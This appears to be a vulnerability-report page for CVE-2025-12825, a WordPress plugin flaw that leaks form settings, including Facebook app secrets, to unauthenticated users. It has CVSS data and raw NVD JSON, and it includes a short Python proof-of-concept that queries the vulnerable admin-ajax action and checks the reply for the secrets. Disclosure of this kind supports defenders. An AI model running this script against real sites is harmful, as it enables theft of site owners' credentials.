Security Vulnerability Report
中文
CVE-2025-12825 CVSS 5.3 MEDIUM

CVE-2025-12825

Published: 2026-01-17 05:16:09
Last Modified: 2026-04-15 00:35:42

Description

The User Registration Using Contact Form 7 plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'get_cf7_form_data' function in all versions up to, and including, 2.5. This makes it possible for unauthenticated attackers to retrieve form settings which includes Facebook app secrets.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

User Registration Using Contact Form 7 <= 2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-12825 PoC - Unauthenticated Access to get_cf7_form_data # Target: WordPress site with User Registration Using Contact Form 7 plugin <= 2.5 target_url = "http://target-wordpress-site.com" # Step 1: Identify the AJAX endpoint and action parameter ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Construct the malicious request without authentication payload = { 'action': 'get_cf7_form_data', # Vulnerable function 'nonce': '' # Not required due to missing capability check } # Step 3: Send the request print("[*] Sending malicious request to extract form data...") response = requests.post(ajax_url, data=payload, timeout=10) # Step 4: Parse and display sensitive information if response.status_code == 200: print(f"[+] Response received:\n{response.text}") # Check for Facebook App Secret in response if 'facebook_app_secret' in response.text or 'app_secret' in response.text: print("[!] VULNERABLE: Facebook App Secret exposed!") else: print(f"[-] Request failed with status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12825", "sourceIdentifier": "[email protected]", "published": "2026-01-17T05:16:09.070", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The User Registration Using Contact Form 7 plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'get_cf7_form_data' function in all versions up to, and including, 2.5. This makes it possible for unauthenticated attackers to retrieve form settings which includes Facebook app secrets."}, {"lang": "es", "value": "El plugin User Registration Using Contact Form 7 para WordPress es vulnerable a acceso no autorizado a datos debido a una comprobación de capacidad faltante en la función 'get_cf7_form_data' en todas las versiones hasta la 2.5, inclusive. Esto hace posible que atacantes no autenticados recuperen la configuración del formulario, lo que incluye secretos de la aplicación de Facebook."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3433276%40user-registration-using-contact-form-7&new=3433276%40user-registration-using-contact-form-7&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b49978c1-9254-4229-8d32-e12896301f3d?source=cve", "source": "[email protected]"}]}}